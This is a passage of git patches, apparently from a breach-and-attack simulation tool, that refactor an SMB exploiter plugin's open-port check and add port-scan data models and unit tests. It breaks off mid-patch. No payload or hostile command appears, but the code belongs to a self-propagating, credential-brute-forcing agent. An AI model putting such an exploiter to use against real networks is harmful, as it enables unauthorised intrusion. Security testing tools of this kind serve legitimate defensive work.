17:50:06 +0000 Subject: [PATCH 0884/1338] SMB: Check for SMB ports before running exploiter Issue #2952 PR #3143 --- .../exploiters/smb/src/plugin.py | 15 +++++- .../infection_monkey/i_puppet/target_host.py | 13 +++++- .../exploiters/smb/test_smb_plugin.py | 46 ++++++++++++++++++- 3 files changed, 69 insertions(+), 5 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/plugin.py b/monkey/agent_plugins/exploiters/smb/src/plugin.py index 0f721452b18..af8167ca6be 100644 --- a/monkey/agent_plugins/exploiters/smb/src/plugin.py +++ b/monkey/agent_plugins/exploiters/smb/src/plugin.py @@ -6,7 +6,7 @@ # common imports from common.event_queue import IAgentEventPublisher -from common.types import Event +from common.types import Event, PortStatus from common.utils.code_utils import del_key # dependencies to get rid of or internalize @@ -17,13 +17,19 @@ generate_brute_force_credentials, ) from infection_monkey.exploit.tools.helpers import get_agent_dst_path -from infection_monkey.i_puppet import ExploiterResultData, TargetHost +from infection_monkey.i_puppet import ExploiterResultData, PortScanData, TargetHost from infection_monkey.propagation_credentials_repository import IPropagationCredentialsRepository from .smb_command_builder import build_smb_command from .smb_options import SMBOptions +from .smb_remote_access_client import SMB_PORTS from .smb_remote_access_client_factory import SMBRemoteAccessClientFactory + +def is_open_port(psd: PortScanData) -> bool: + return psd.status != PortStatus.CLOSED + + logger = logging.getLogger(__name__) @@ -67,6 +73,11 @@ def run( logger.exception(msg) return ExploiterResultData(error_message=msg) + if len(host.filter_selected_tcp_ports(SMB_PORTS, is_open_port)) == 0: + msg = f"Host {host.ip} has no open SMB ports" + logger.debug(msg) + return ExploiterResultData(error_message=msg) + command_builder = partial( build_smb_command, servers, diff --git a/monkey/infection_monkey/i_puppet/target_host.py b/monkey/infection_monkey/i_puppet/target_host.py index 2a43aa655c7..375d3b2ab53 100644 --- a/monkey/infection_monkey/i_puppet/target_host.py +++ b/monkey/infection_monkey/i_puppet/target_host.py @@ -1,6 +1,6 @@ import pprint from ipaddress import IPv4Address -from typing import Dict, Optional +from typing import Callable, Dict, Optional, Sequence from pydantic import Field @@ -10,6 +10,8 @@ from . import PortScanData +FilterPortFunc = Callable[[PortScanData], bool] + class TargetHostPorts(MutableInfectionMonkeyBaseModel): tcp_ports: Dict[NetworkPort, PortScanData] = Field(default={}) @@ -22,6 +24,15 @@ class TargetHost(MutableInfectionMonkeyBaseModel): icmp: bool = Field(default=False) ports_status: TargetHostPorts = Field(default=TargetHostPorts()) + def filter_selected_tcp_ports( + self, ports: Sequence[NetworkPort], filter: FilterPortFunc + ) -> Sequence[PortScanData]: + return [ + p + for p in ports + if p in self.ports_status.tcp_ports and filter(self.ports_status.tcp_ports[p]) + ] + def __hash__(self): return hash(self.ip) diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_plugin.py b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_plugin.py index b5097773cb2..5e274699361 100644 --- a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_plugin.py +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_plugin.py @@ -7,14 +7,24 @@ from agent_plugins.exploiters.smb.src.plugin import Plugin from common import OperatingSystem +from common.types import NetworkPort, PortStatus from infection_monkey.exploit.tools import BruteForceExploiter -from infection_monkey.i_puppet import ExploiterResultData, TargetHost +from infection_monkey.i_puppet import ExploiterResultData, PortScanData, TargetHost, TargetHostPorts from infection_monkey.propagation_credentials_repository import IPropagationCredentialsRepository AGENT_ID = UUID("5c145d4e-ec61-44f7-998e-17477112f50f") BAD_SMB_OPTIONS_DICT = {"blah": "blah"} TARGET_IP = IPv4Address("1.1.1.1") -TARGET_HOST = TargetHost(ip=TARGET_IP, operating_system=OperatingSystem.WINDOWS) +SMB_PORT = NetworkPort(139) +OPEN_SMB_PORTS = TargetHostPorts( + tcp_ports={SMB_PORT: PortScanData(port=SMB_PORT, status=PortStatus.OPEN)} +) +CLOSED_SMB_PORTS = TargetHostPorts() +TARGET_HOST = TargetHost( + ip=TARGET_IP, + operating_system=OperatingSystem.WINDOWS, + ports_status=OPEN_SMB_PORTS, +) SERVERS = ["10.10.10.10"] EXPLOITER_RESULT_DATA = ExploiterResultData(True, False, error_message="Test error") @@ -70,6 +80,38 @@ def test_run__fails_on_bad_options(plugin: Plugin): assert not result.propagation_success +def test_run__fails_if_no_open_smb_ports(plugin: Plugin): + host = TARGET_HOST.copy(deep=True) + host.ports_status = CLOSED_SMB_PORTS + result = plugin.run( + host=host, + servers=SERVERS, + current_depth=1, + options={}, + interrupt=Event(), + ) + + assert not result.exploitation_success + assert not result.propagation_success + + +@pytest.mark.parametrize("port", [NetworkPort(445), NetworkPort(139)]) +def test_run__proceeds_if_open_smb_ports(plugin: Plugin, port: NetworkPort): + host = TARGET_HOST.copy(deep=True) + host.ports_status = TargetHostPorts( + tcp_ports={port: PortScanData(port=port, status=PortStatus.OPEN)} + ) + result = plugin.run( + host=host, + servers=SERVERS, + current_depth=1, + options={}, + interrupt=Event(), + ) + + assert result == EXPLOITER_RESULT_DATA + + def test_run__returns_exploiter_result_data(plugin: Plugin): result = plugin.run( host=TARGET_HOST, From 2882b21cccbd2f3c6665c753c827273b98a42a92 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 23 Mar 2023 19:51:02 -0400 Subject: [PATCH 0885/1338] SMB: Refactor port checking logic --- .../exploiters/smb/src/plugin.py | 19 ++- .../exploiters/smb/test_smb_plugin.py | 136 +++++++++++++----- 2 files changed, 115 insertions(+), 40 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/plugin.py b/monkey/agent_plugins/exploiters/smb/src/plugin.py index af8167ca6be..1aa956d59b2 100644 --- a/monkey/agent_plugins/exploiters/smb/src/plugin.py +++ b/monkey/agent_plugins/exploiters/smb/src/plugin.py @@ -17,7 +17,7 @@ generate_brute_force_credentials, ) from infection_monkey.exploit.tools.helpers import get_agent_dst_path -from infection_monkey.i_puppet import ExploiterResultData, PortScanData, TargetHost +from infection_monkey.i_puppet import ExploiterResultData, TargetHost from infection_monkey.propagation_credentials_repository import IPropagationCredentialsRepository from .smb_command_builder import build_smb_command @@ -26,8 +26,15 @@ from .smb_remote_access_client_factory import SMBRemoteAccessClientFactory -def is_open_port(psd: PortScanData) -> bool: - return psd.status != PortStatus.CLOSED +def should_attempt_exploit(host: TargetHost) -> bool: + for smb_port in SMB_PORTS: + if smb_port not in host.ports_status.tcp_ports: + return True + + if host.ports_status.tcp_ports[smb_port].status == PortStatus.OPEN: + return True + + return False logger = logging.getLogger(__name__) @@ -73,10 +80,12 @@ def run( logger.exception(msg) return ExploiterResultData(error_message=msg) - if len(host.filter_selected_tcp_ports(SMB_PORTS, is_open_port)) == 0: + if not should_attempt_exploit(host): msg = f"Host {host.ip} has no open SMB ports" logger.debug(msg) - return ExploiterResultData(error_message=msg) + return ExploiterResultData( + exploitation_success=False, propagation_success=False, error_message=msg + ) command_builder = partial( build_smb_command, diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_plugin.py b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_plugin.py index 5e274699361..b5c73a174f2 100644 --- a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_plugin.py +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_plugin.py @@ -1,10 +1,11 @@ from ipaddress import IPv4Address from threading import Event +from typing import Dict from unittest.mock import MagicMock from uuid import UUID import pytest -from agent_plugins.exploiters.smb.src.plugin import Plugin +from agent_plugins.exploiters.smb.src.plugin import SMB_PORTS, Plugin from common import OperatingSystem from common.types import NetworkPort, PortStatus @@ -15,31 +16,26 @@ AGENT_ID = UUID("5c145d4e-ec61-44f7-998e-17477112f50f") BAD_SMB_OPTIONS_DICT = {"blah": "blah"} TARGET_IP = IPv4Address("1.1.1.1") -SMB_PORT = NetworkPort(139) OPEN_SMB_PORTS = TargetHostPorts( - tcp_ports={SMB_PORT: PortScanData(port=SMB_PORT, status=PortStatus.OPEN)} -) -CLOSED_SMB_PORTS = TargetHostPorts() -TARGET_HOST = TargetHost( - ip=TARGET_IP, - operating_system=OperatingSystem.WINDOWS, - ports_status=OPEN_SMB_PORTS, + tcp_ports={p: PortScanData(port=p, status=PortStatus.OPEN) for p in SMB_PORTS} ) +EMPTY_TARGET_HOST_PORTS = TargetHostPorts() SERVERS = ["10.10.10.10"] EXPLOITER_RESULT_DATA = ExploiterResultData(True, False, error_message="Test error") @pytest.fixture -def propagation_credentials_repository(): - return MagicMock(spec=IPropagationCredentialsRepository) - +def target_host() -> TargetHost: + return TargetHost( + ip=TARGET_IP, + operating_system=OperatingSystem.WINDOWS, + ports_status=OPEN_SMB_PORTS, + ) -class MockSMBExploiter(BruteForceExploiter): - def __init__(self, *args, **kwargs): - super().__init__(*args, **kwargs) - def exploit_host(self, *args, **kwargs) -> ExploiterResultData: - return EXPLOITER_RESULT_DATA +@pytest.fixture +def propagation_credentials_repository(): + return MagicMock(spec=IPropagationCredentialsRepository) class ErrorRaisingMockSMBExploiter(BruteForceExploiter): @@ -50,12 +46,22 @@ def exploit_host(self, *args, **kwargs) -> ExploiterResultData: raise Exception("Test error") +@pytest.fixture +def mock_smb_exploiter(): + exploiter = MagicMock(spec=BruteForceExploiter) + exploiter.exploit_host.return_value = EXPLOITER_RESULT_DATA + return exploiter + + @pytest.fixture def plugin( - monkeypatch, propagation_credentials_repository: IPropagationCredentialsRepository + monkeypatch, + propagation_credentials_repository: IPropagationCredentialsRepository, + mock_smb_exploiter: BruteForceExploiter, ) -> Plugin: monkeypatch.setattr( - "agent_plugins.exploiters.smb.src.plugin.BruteForceExploiter", MockSMBExploiter + "agent_plugins.exploiters.smb.src.plugin.BruteForceExploiter", + lambda *args, **kwargs: mock_smb_exploiter, ) return Plugin( @@ -67,9 +73,9 @@ def plugin( ) -def test_run__fails_on_bad_options(plugin: Plugin): +def test_run__fails_on_bad_options(plugin: Plugin, target_host: TargetHost): result = plugin.run( - host=TARGET_HOST, + host=target_host, servers=SERVERS, current_depth=1, options=BAD_SMB_OPTIONS_DICT, @@ -80,9 +86,22 @@ def test_run__fails_on_bad_options(plugin: Plugin): assert not result.propagation_success -def test_run__fails_if_no_open_smb_ports(plugin: Plugin): - host = TARGET_HOST.copy(deep=True) - host.ports_status = CLOSED_SMB_PORTS +@pytest.mark.parametrize( + "tcp_port_status", + ( + {SMB_PORTS[0]: PortScanData(port=SMB_PORTS[0], status=PortStatus.CLOSED)}, + {SMB_PORTS[1]: PortScanData(port=SMB_PORTS[1], status=PortStatus.CLOSED)}, + {}, + ), +) +def test_run__attempts_exploit_if_port_status_unknown( + plugin: Plugin, + mock_smb_exploiter: BruteForceExploiter, + target_host: TargetHost, + tcp_port_status: Dict[NetworkPort, PortScanData], +): + host = target_host + host.ports_status.tcp_ports = tcp_port_status result = plugin.run( host=host, servers=SERVERS, @@ -91,16 +110,37 @@ def test_run__fails_if_no_open_smb_ports(plugin: Plugin): interrupt=Event(), ) - assert not result.exploitation_success - assert not result.propagation_success + mock_smb_exploiter.exploit_host.assert_called_once() + assert result == EXPLOITER_RESULT_DATA -@pytest.mark.parametrize("port", [NetworkPort(445), NetworkPort(139)]) -def test_run__proceeds_if_open_smb_ports(plugin: Plugin, port: NetworkPort): - host = TARGET_HOST.copy(deep=True) - host.ports_status = TargetHostPorts( - tcp_ports={port: PortScanData(port=port, status=PortStatus.OPEN)} - ) +@pytest.mark.parametrize( + "tcp_port_status", + ( + {SMB_PORTS[0]: PortScanData(port=SMB_PORTS[0], status=PortStatus.OPEN)}, + {SMB_PORTS[1]: PortScanData(port=SMB_PORTS[1], status=PortStatus.OPEN)}, + { + SMB_PORTS[0]: PortScanData(port=SMB_PORTS[0], status=PortStatus.CLOSED), + SMB_PORTS[1]: PortScanData(port=SMB_PORTS[1], status=PortStatus.OPEN), + }, + { + SMB_PORTS[0]: PortScanData(port=SMB_PORTS[0], status=PortStatus.OPEN), + SMB_PORTS[1]: PortScanData(port=SMB_PORTS[1], status=PortStatus.CLOSED), + }, + { + SMB_PORTS[0]: PortScanData(port=SMB_PORTS[0], status=PortStatus.OPEN), + SMB_PORTS[1]: PortScanData(port=SMB_PORTS[1], status=PortStatus.OPEN), + }, + ), +) +def test_run__attempts_exploit_if_port_status_open( + plugin: Plugin, + mock_smb_exploiter: BruteForceExploiter, + target_host: TargetHost, + tcp_port_status: Dict[NetworkPort, PortScanData], +): + host = target_host + host.ports_status.tcp_ports = tcp_port_status result = plugin.run( host=host, servers=SERVERS, @@ -109,12 +149,37 @@ def test_run__proceeds_if_open_smb_ports(plugin: Plugin, port: NetworkPort): interrupt=Event(), ) + mock_smb_exploiter.exploit_host.assert_called_once() assert result == EXPLOITER_RESULT_DATA -def test_run__returns_exploiter_result_data(plugin: Plugin): +def test_run__skips_exploit_if_port_status_closed( + plugin: Plugin, + mock_smb_exploiter: BruteForceExploiter, + target_host: TargetHost, +): + host = target_host + host.ports_status.tcp_ports = { + SMB_PORTS[0]: PortScanData(port=SMB_PORTS[0], status=PortStatus.CLOSED), + SMB_PORTS[1]: PortScanData(port=SMB_PORTS[1], status=PortStatus.CLOSED), + } + + result = plugin.run( + host=host, + servers=SERVERS, + current_depth=1, + options={}, + interrupt=Event(), + ) + + mock_smb_exploiter.exploit_host.assert_not_called() + assert result.exploitation_success is False + assert result.propagation_success is False + + +def test_run__returns_exploiter_result_data(plugin: Plugin, target_host: TargetHost): result = plugin.run( - host=TARGET_HOST, + host=target_host, servers=SERVERS, current_depth=1, options={}, @@ -128,6 +193,7 @@ def test_run__exploit_host_raises_exception( monkeypatch, plugin: Plugin, propagation_credentials_repository: IPropagationCredentialsRepository, + target_host: TargetHost, ): monkeypatch.setattr( "agent_plugins.exploiters.smb.src.plugin.BruteForceExploiter", @@ -142,7 +208,7 @@ def test_run__exploit_host_raises_exception( propagation_credentials_repository=propagation_credentials_repository, ) result = plugin.run( - host=TARGET_HOST, + host=target_host, servers=SERVERS, current_depth=1, options={}, From 829e7d77b47b06eecaa7e855e76e1e555d3a6b41 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Thu, 23 Mar 2023 19:53:11 +0000 Subject: [PATCH 0886/1338] Project: Remove SMB-related vulture entries Issue #2952 PR #3146 --- vulture_allowlist.py | 20 +------------------- 1 file changed, 1 insertion(+), 19 deletions(-) diff --git a/vulture_allowlist.py b/vulture_allowlist.py index 3a7ae7013c0..1b5276c7d34 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -1,5 +1,4 @@ from agent_plugins.exploiters.hadoop.plugin import Plugin as HadoopPlugin -from agent_plugins.exploiters.smb.smb_options import SMBOptions from flask_security import Security from common import DIContainer @@ -12,12 +11,7 @@ from common.types import Lock, NetworkPort, PluginName from infection_monkey.exploit import IslandAPIAgentOTPProvider from infection_monkey.exploit.log4shell_utils.ldap_server import LDAPServerFactory -from infection_monkey.exploit.tools import ( - RemoteCommandExecutionError, - RemoteFileCopyError, - generate_brute_force_credentials, - secret_type_filter, -) +from infection_monkey.exploit.tools import secret_type_filter from infection_monkey.exploit.zerologon import NetrServerPasswordSet, NetrServerPasswordSetResponse from infection_monkey.exploit.zerologon_utils.remote_shell import RemoteShell from infection_monkey.island_api_client import http_island_api_client @@ -144,19 +138,7 @@ User.get_by_id User.email -# Remove after #2952 -generate_brute_force_credentials secret_type_filter -RemoteCommandExecutionError -RemoteFileCopyError - -SMBOptions.agent_binary_upload_timeout -SMBOptions.smb_connect_timeout - -SMBOptions.agent_binary_upload_timeout -SMBOptions.use_kerberos -SMBOptions.rpc_connect_timeout -SMBOptions.smb_connect_timeout # Remove after #3077 http_island_api_client.get_otp From facf76ad25fe135b96b4b0ededfd5d1f1ac3bb02 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 23 Mar 2023 19:53:41 -0400 Subject: [PATCH 0887/1338] Agent: Remote disused TargetHost.filter_selected_tcp_ports() --- monkey/infection_monkey/i_puppet/target_host.py | 13 +------------ 1 file changed, 1 insertion(+), 12 deletions(-) diff --git a/monkey/infection_monkey/i_puppet/target_host.py b/monkey/infection_monkey/i_puppet/target_host.py index 375d3b2ab53..2a43aa655c7 100644 --- a/monkey/infection_monkey/i_puppet/target_host.py +++ b/monkey/infection_monkey/i_puppet/target_host.py @@ -1,6 +1,6 @@ import pprint from ipaddress import IPv4Address -from typing import Callable, Dict, Optional, Sequence +from typing import Dict, Optional from pydantic import Field @@ -10,8 +10,6 @@ from . import PortScanData -FilterPortFunc = Callable[[PortScanData], bool] - class TargetHostPorts(MutableInfectionMonkeyBaseModel): tcp_ports: Dict[NetworkPort, PortScanData] = Field(default={}) @@ -24,15 +22,6 @@ class TargetHost(MutableInfectionMonkeyBaseModel): icmp: bool = Field(default=False) ports_status: TargetHostPorts = Field(default=TargetHostPorts()) - def filter_selected_tcp_ports( - self, ports: Sequence[NetworkPort], filter: FilterPortFunc - ) -> Sequence[PortScanData]: - return [ - p - for p in ports - if p in self.ports_status.tcp_ports and filter(self.ports_status.tcp_ports[p]) - ] - def __hash__(self): return hash(self.ip) From 56ce2b9290c9c39c4fd40bc7f1a3309eb1fab625 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 23 Mar 2023 20:13:37 -0400 Subject: [PATCH 0888/1338] Agent: Add TargetHostPorts.get_closed_tcp_ports() --- monkey/infection_monkey/i_puppet/target_host.py | 12 ++++++++++-- .../infection_monkey/i_puppet/test_target_host.py | 15 +++++++++++++++ 2 files changed, 25 insertions(+), 2 deletions(-) create mode 100644 monkey/tests/unit_tests/infection_monkey/i_puppet/test_target_host.py diff --git a/monkey/infection_monkey/i_puppet/target_host.py b/monkey/infection_monkey/i_puppet/target_host.py index 2a43aa655c7..6739752e939 100644 --- a/monkey/infection_monkey/i_puppet/target_host.py +++ b/monkey/infection_monkey/i_puppet/target_host.py @@ -1,12 +1,12 @@ import pprint from ipaddress import IPv4Address -from typing import Dict, Optional +from typing import Dict, Optional, Set from pydantic import Field from common import OperatingSystem from common.base_models import MutableInfectionMonkeyBaseModel -from common.types import NetworkPort +from common.types import NetworkPort, PortStatus from . import PortScanData @@ -15,6 +15,14 @@ class TargetHostPorts(MutableInfectionMonkeyBaseModel): tcp_ports: Dict[NetworkPort, PortScanData] = Field(default={}) udp_ports: Dict[NetworkPort, PortScanData] = Field(default={}) + @property + def closed_tcp_ports(self) -> Set[NetworkPort]: + return { + port + for port, port_scan_data in self.tcp_ports.items() + if port_scan_data.status == PortStatus.CLOSED + } + class TargetHost(MutableInfectionMonkeyBaseModel): ip: IPv4Address diff --git a/monkey/tests/unit_tests/infection_monkey/i_puppet/test_target_host.py b/monkey/tests/unit_tests/infection_monkey/i_puppet/test_target_host.py new file mode 100644 index 00000000000..43a56580cc0 --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/i_puppet/test_target_host.py @@ -0,0 +1,15 @@ +from common.types import NetworkPort, PortStatus +from infection_monkey.i_puppet import PortScanData, TargetHostPorts + + +def test_closed_tcp_ports(): + expected_closed_ports = {NetworkPort(2), NetworkPort(4)} + tcp_ports = { + NetworkPort(1): PortScanData(port=NetworkPort(1), status=PortStatus.OPEN), + NetworkPort(2): PortScanData(port=NetworkPort(2), status=PortStatus.CLOSED), + NetworkPort(3): PortScanData(port=NetworkPort(3), status=PortStatus.OPEN), + NetworkPort(4): PortScanData(port=NetworkPort(4), status=PortStatus.CLOSED), + } + thp = TargetHostPorts(tcp_ports=tcp_ports) + + assert thp.closed_tcp_ports == expected_closed_ports From fd463eda1b260bf62c17ce214558641b5d43ccd4 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 23 Mar 2023 20:14:28 -0400 Subject: [PATCH 0889/1338] SMB: Use get_closed_tcp_ports() in should_attempt_exploit() --- monkey/agent_plugins/exploiters/smb/src/plugin.py | 12 +++--------- 1 file changed, 3 insertions(+), 9 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/plugin.py b/monkey/agent_plugins/exploiters/smb/src/plugin.py index 1aa956d59b2..00cf9eab1e6 100644 --- a/monkey/agent_plugins/exploiters/smb/src/plugin.py +++ b/monkey/agent_plugins/exploiters/smb/src/plugin.py @@ -6,7 +6,7 @@ # common imports from common.event_queue import IAgentEventPublisher -from common.types import Event, PortStatus +from common.types import Event from common.utils.code_utils import del_key # dependencies to get rid of or internalize @@ -27,14 +27,8 @@ def should_attempt_exploit(host: TargetHost) -> bool: - for smb_port in SMB_PORTS: - if smb_port not in host.ports_status.tcp_ports: - return True - - if host.ports_status.tcp_ports[smb_port].status == PortStatus.OPEN: - return True - - return False + closed_tcp_ports = host.ports_status.closed_tcp_ports + return not all([p in closed_tcp_ports for p in SMB_PORTS]) logger = logging.getLogger(__name__) From 39d179d5823883e6f0cad976188d3b92151055fa Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 24 Mar 2023 08:35:48 -0400 Subject: [PATCH 0890/1338] Agent: Add PortScanDataDict --- monkey/infection_monkey/i_puppet/__init__.py | 2 +- .../infection_monkey/i_puppet/target_host.py | 9 ++- .../i_puppet/test_target_host.py | 68 +++++++++++++++++-- 3 files changed, 71 insertions(+), 8 deletions(-) diff --git a/monkey/infection_monkey/i_puppet/__init__.py b/monkey/infection_monkey/i_puppet/__init__.py index 9def052c20f..9a0dfaf4b68 100644 --- a/monkey/infection_monkey/i_puppet/__init__.py +++ b/monkey/infection_monkey/i_puppet/__init__.py @@ -10,4 +10,4 @@ ) from .i_fingerprinter import IFingerprinter from .i_credential_collector import ICredentialCollector -from .target_host import TargetHost, TargetHostPorts +from .target_host import TargetHost, TargetHostPorts, PortScanDataDict diff --git a/monkey/infection_monkey/i_puppet/target_host.py b/monkey/infection_monkey/i_puppet/target_host.py index 6739752e939..f7714c8fd08 100644 --- a/monkey/infection_monkey/i_puppet/target_host.py +++ b/monkey/infection_monkey/i_puppet/target_host.py @@ -1,8 +1,9 @@ import pprint +from collections import UserDict from ipaddress import IPv4Address from typing import Dict, Optional, Set -from pydantic import Field +from pydantic import Field, validate_arguments from common import OperatingSystem from common.base_models import MutableInfectionMonkeyBaseModel @@ -11,6 +12,12 @@ from . import PortScanData +class PortScanDataDict(UserDict[NetworkPort, PortScanData]): + @validate_arguments + def __setitem__(self, key: NetworkPort, value: PortScanData): + super().__setitem__(key, value) + + class TargetHostPorts(MutableInfectionMonkeyBaseModel): tcp_ports: Dict[NetworkPort, PortScanData] = Field(default={}) udp_ports: Dict[NetworkPort, PortScanData] = Field(default={}) diff --git a/monkey/tests/unit_tests/infection_monkey/i_puppet/test_target_host.py b/monkey/tests/unit_tests/infection_monkey/i_puppet/test_target_host.py index 43a56580cc0..b9cb031a09f 100644 --- a/monkey/tests/unit_tests/infection_monkey/i_puppet/test_target_host.py +++ b/monkey/tests/unit_tests/infection_monkey/i_puppet/test_target_host.py @@ -1,14 +1,70 @@ +import pytest + from common.types import NetworkPort, PortStatus -from infection_monkey.i_puppet import PortScanData, TargetHostPorts +from infection_monkey.i_puppet import PortScanData, PortScanDataDict, TargetHostPorts + + +def test_port_scan_data_dict__constructor(): + input_dict = { + NetworkPort(1): PortScanData(port=1, status=PortStatus.OPEN), + NetworkPort(2): PortScanData(port=2, status=PortStatus.CLOSED), + NetworkPort(3): PortScanData(port=3, status=PortStatus.OPEN), + } + expected_port_scan_data_dict = { + 1: PortScanData(port=1, status=PortStatus.OPEN), + 2: PortScanData(port=2, status=PortStatus.CLOSED), + 3: PortScanData(port=3, status=PortStatus.OPEN), + } + + port_scan_data_dict: PortScanDataDict = PortScanDataDict(input_dict) + + assert port_scan_data_dict == expected_port_scan_data_dict + + +def test_port_scan_data_dict__set(): + expected_port_scan_data_dict = { + 1: PortScanData(port=1, status=PortStatus.OPEN), + 2: PortScanData(port=2, status=PortStatus.CLOSED), + } + + port_scan_data_dict = PortScanDataDict() + port_scan_data_dict[1] = PortScanData(port=1, status=PortStatus.OPEN) + port_scan_data_dict[2] = PortScanData(port=2, status=PortStatus.CLOSED) + + assert port_scan_data_dict == expected_port_scan_data_dict + + +INVALID_PORTS = (-1, 65536, "string", None, "22.2") +VALID_PORT_SCAN_DATA = PortScanData(port=1, status=PortStatus.OPEN) + + +@pytest.mark.parametrize("invalid_port", INVALID_PORTS) +def test_port_scan_data_dict_constructor__invalid_port(invalid_port): + with pytest.raises((ValueError, TypeError)): + PortScanDataDict({invalid_port: VALID_PORT_SCAN_DATA}) + + +@pytest.mark.parametrize("invalid_port", INVALID_PORTS) +def test_port_scan_data_dict_update__invalid_port(invalid_port): + port_scan_data_dict = PortScanDataDict() + with pytest.raises((ValueError, TypeError)): + port_scan_data_dict.update({invalid_port: VALID_PORT_SCAN_DATA}) + + +@pytest.mark.parametrize("invalid_port", INVALID_PORTS) +def test_port_scan_data_dict_set__invalid_port(invalid_port): + port_scan_data_dict = PortScanDataDict() + with pytest.raises((ValueError, TypeError)): + port_scan_data_dict[invalid_port] = VALID_PORT_SCAN_DATA def test_closed_tcp_ports(): - expected_closed_ports = {NetworkPort(2), NetworkPort(4)} + expected_closed_ports = {2, 4} tcp_ports = { - NetworkPort(1): PortScanData(port=NetworkPort(1), status=PortStatus.OPEN), - NetworkPort(2): PortScanData(port=NetworkPort(2), status=PortStatus.CLOSED), - NetworkPort(3): PortScanData(port=NetworkPort(3), status=PortStatus.OPEN), - NetworkPort(4): PortScanData(port=NetworkPort(4), status=PortStatus.CLOSED), + 1: PortScanData(port=1, status=PortStatus.OPEN), + 2: PortScanData(port=2, status=PortStatus.CLOSED), + 3: PortScanData(port=3, status=PortStatus.OPEN), + 4: PortScanData(port=4, status=PortStatus.CLOSED), } thp = TargetHostPorts(tcp_ports=tcp_ports) From da5810f048a6f2fb2f179c183bf16b8eec789464 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 24 Mar 2023 09:18:09 -0400 Subject: [PATCH 0891/1338] Agent: Use PortScanDataDict for TargetHostPorts fields --- monkey/infection_monkey/i_puppet/i_puppet.py | 8 +-- .../infection_monkey/i_puppet/target_host.py | 14 ++-- .../master/ip_scan_results.py | 5 +- monkey/infection_monkey/master/ip_scanner.py | 8 +-- .../network_scanning/tcp_scanner.py | 16 ++--- monkey/infection_monkey/puppet/puppet.py | 6 +- .../hadoop/test_hadoop_exploiter.py | 24 +++++-- .../exploiters/smb/test_smb_plugin.py | 67 +++++++++++-------- .../i_puppet/test_target_host.py | 14 ++-- .../infection_monkey/master/mock_puppet.py | 5 +- 10 files changed, 99 insertions(+), 68 deletions(-) diff --git a/monkey/infection_monkey/i_puppet/i_puppet.py b/monkey/infection_monkey/i_puppet/i_puppet.py index 78ce39b50f8..1e78a160b34 100644 --- a/monkey/infection_monkey/i_puppet/i_puppet.py +++ b/monkey/infection_monkey/i_puppet/i_puppet.py @@ -4,9 +4,9 @@ from common.agent_plugins import AgentPluginType from common.credentials import Credentials from common.types import Event, NetworkPort -from infection_monkey.i_puppet.target_host import TargetHost -from . import ExploiterResultData, FingerprintData, PingScanData, PortScanData +from . import ExploiterResultData, FingerprintData, PingScanData +from .target_host import PortScanDataDict, TargetHost class UnknownPluginError(Exception): @@ -58,7 +58,7 @@ def ping(self, host: str, timeout: float) -> PingScanData: @abc.abstractmethod def scan_tcp_ports( self, host: str, ports: Sequence[NetworkPort], timeout: float = 3 - ) -> Dict[NetworkPort, PortScanData]: + ) -> PortScanDataDict: """ Scans a list of TCP ports on a remote host @@ -74,7 +74,7 @@ def fingerprint( name: str, host: str, ping_scan_data: PingScanData, - port_scan_data: Dict[NetworkPort, PortScanData], + port_scan_data: PortScanDataDict, options: Dict, ) -> FingerprintData: """ diff --git a/monkey/infection_monkey/i_puppet/target_host.py b/monkey/infection_monkey/i_puppet/target_host.py index f7714c8fd08..69c7731255e 100644 --- a/monkey/infection_monkey/i_puppet/target_host.py +++ b/monkey/infection_monkey/i_puppet/target_host.py @@ -1,12 +1,12 @@ import pprint from collections import UserDict from ipaddress import IPv4Address -from typing import Dict, Optional, Set +from typing import Optional, Set from pydantic import Field, validate_arguments from common import OperatingSystem -from common.base_models import MutableInfectionMonkeyBaseModel +from common.base_models import MutableInfectionMonkeyBaseModel, MutableInfectionMonkeyModelConfig from common.types import NetworkPort, PortStatus from . import PortScanData @@ -19,8 +19,11 @@ def __setitem__(self, key: NetworkPort, value: PortScanData): class TargetHostPorts(MutableInfectionMonkeyBaseModel): - tcp_ports: Dict[NetworkPort, PortScanData] = Field(default={}) - udp_ports: Dict[NetworkPort, PortScanData] = Field(default={}) + class Config(MutableInfectionMonkeyModelConfig): + arbitrary_types_allowed = True + + tcp_ports: PortScanDataDict = Field(default_factory=PortScanDataDict) + udp_ports: PortScanDataDict = Field(default_factory=PortScanDataDict) @property def closed_tcp_ports(self) -> Set[NetworkPort]: @@ -32,6 +35,9 @@ def closed_tcp_ports(self) -> Set[NetworkPort]: class TargetHost(MutableInfectionMonkeyBaseModel): + class Config(MutableInfectionMonkeyModelConfig): + json_encoders = {PortScanDataDict: dict} + ip: IPv4Address operating_system: Optional[OperatingSystem] = Field(default=None) icmp: bool = Field(default=False) diff --git a/monkey/infection_monkey/master/ip_scan_results.py b/monkey/infection_monkey/master/ip_scan_results.py index 1c50797c79c..5b393518c28 100644 --- a/monkey/infection_monkey/master/ip_scan_results.py +++ b/monkey/infection_monkey/master/ip_scan_results.py @@ -1,8 +1,7 @@ from dataclasses import dataclass from typing import Dict -from common.types import NetworkPort -from infection_monkey.i_puppet import FingerprintData, PingScanData, PortScanData +from infection_monkey.i_puppet import FingerprintData, PingScanData, PortScanDataDict FingerprinterName = str @@ -10,5 +9,5 @@ @dataclass class IPScanResults: ping_scan_data: 